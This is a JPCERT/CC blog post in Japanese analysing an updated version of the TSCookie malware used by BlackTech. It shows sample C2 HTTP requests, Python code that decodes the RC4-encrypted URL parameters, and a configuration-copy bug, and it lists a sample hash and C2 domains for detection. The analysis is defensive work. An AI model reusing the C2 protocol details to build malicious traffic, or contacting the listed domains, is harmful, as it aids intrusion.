JPCERT/CC Eyes

以前のブログで、攻撃グループBlackTechが使用していると考えられるマルウエアTSCookie について紹介しました。このマルウエアを使用した攻撃は現在も続いているとみられ、2018年8月頃、JPCERT/CCでもTSCookieのアップデートが行われていることを確認しています。このアップデートで注目すべきポイントは以下の2点です。

• C2サーバとの通信内容
• 設定情報のデコード

今回は、TSCookieのアップデート内容について紹介します。

C2サーバとの通信内容

以前のTSCookieは最初のC2との通信で暗号化した情報を以下のようにCookieヘッダーに含めて送信していました。

GET /Default.aspx HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Date: Thu, 18 Jan 2018 10:20:55 GMT
Pragma: no-cache
Accept: */*
Cookie: 1405D7CD01C6978E54E86DA9525E1395C4DD2F276DD28EABCC3F6201ADAA66F55C15352D29D0FFE51BC9D431EB23E8E58959653D9366E372B5CFCC49BB
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host:[ホスト名]:443

しかし、新しいバージョンではCookieヘッダーは使用しなくなり、以下のようにURLパラメータ内に暗号化した情報を含めて送信するように変化しています。

GET /t3328483620.aspx?m=4132641264&i=44D6CF457ADC27B2AFAAEAA&p=EF4D5069C30D6CAC9 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: [ホスト名]:443

このHTTP GETリクエストの応答としてサーバからデータを受信できた場合、次にHTTP POSTリクエストを送信します。この通信に関しては以前のTSCookieと変わりません。
また、通信内容の暗号化にはこれまでと同じようにRC4が使われていますが、RC4キーの生成方法が変わっています。以下のコードはHTTP GETリクエストのパラメータをデコードするコードの例です。

data = "&" + sys.argv[1].URL # sys.argv[1] = URL path
conf_key = sys.argv[2].decode("hex") # sys.argv[2] = Configuration key
field = data.split("&")

url_key = field[1]
i=2
encdata = ""
while i<len(field):
    value = field[i].split("=")
    encdata += value[1]
    i+=1

key1 = 0
for i in range(len(url_key)):
    key1 = ord(url_key[i]) + ROR(key1, 13)
    key1 = key1 & 0xFFFFFFFF

key2 = 0
for i in range(len(conf_key)):
    key2 = ord(conf_key[i]) + ROR(key2, 13)
    key2 = key2 & 0xFFFFFFFF

key = pack("I", key1) + pack("I", key2)

decode_data = rc4(encdata.decode('hex'), key)

設定情報のデコード

以前紹介したとおり、TSCookieは、設定情報を持っており、その情報に基づいて動作します。設定情報の内容に関しては、これまでと変化はありません。ただし、設定情報のデコード方法は変わっています。以前のTSCookieは設定情報の先頭に4バイトのRC4キーがありそれを基に復号していました。新しいバージョンでは図1のように先頭のRC4キーが0x80バイトに拡張されています。

このアップデートにより、TSCookieは設定情報の一部を正常に読み込めない状態になっていることを確認しています。図2は、暗号化された設定情報（0x8D0バイト）とRC4キー（0x80バイト）をコピーしているコードです。

コピーするサイズは0x8D4（0x8D0+4バイト）となっていて、増加したRC4キーのサイズが考慮されていません。増加したRC4キーと設定情報を正しくコピーするには、0x950（0x8D0+0x80バイト）とするべきです。この影響によって、本来読み込まれるはずの設定情報が意図しないデータになってしまいます。図3は、TSCookieの設定情報をデコードした例です。

コピーするサイズが小さい場合（図3の左）には、正常にデコードできた場合（図3の右）と異なるデータが含まれていることが分かります。この設定情報の0x89Cバイト目（4バイト）には、通信先に再接続する際の停止時間（秒）が含まれています。攻撃者はこの値を99（0x63）秒に設定（図3の右）していますが、設定情報が正しく読み込まれない状態（図3の左）となっているため、実際の再接続は数日後となります。

おわりに

攻撃者は、セキュリティベンダーなどからマルウエアなどの分析情報が公開されると、改良を加えてくる場合があります。そのため、今回の公開した情報をもとに、設定情報を正常に読み込めないバグも修正されるのではないかと考えられます。TSCookieにアップデートが行われた際には、また紹介したいと思います。
今回解説した検体のハッシュ値に関しては、Appendix Aに記載しています。また、JPCERT/CCで確認しているTSCookieの通信先の一部はAppendix Bに記載していますので、このような通信先にアクセスしている端末がないかご確認ください。

Appendix A：検体のSHA-256ハッシュ値

• a5c75f4d882336c670f48f15bf3b3cc3dfe73dba7df36510db0a7c1826d29161

Appendix B：通信先一覧

• mediaplayer.dnset.com
• mediaplayers.ssl443.org
• fashion.androiddatacenter.com
• sakurings.flnet.org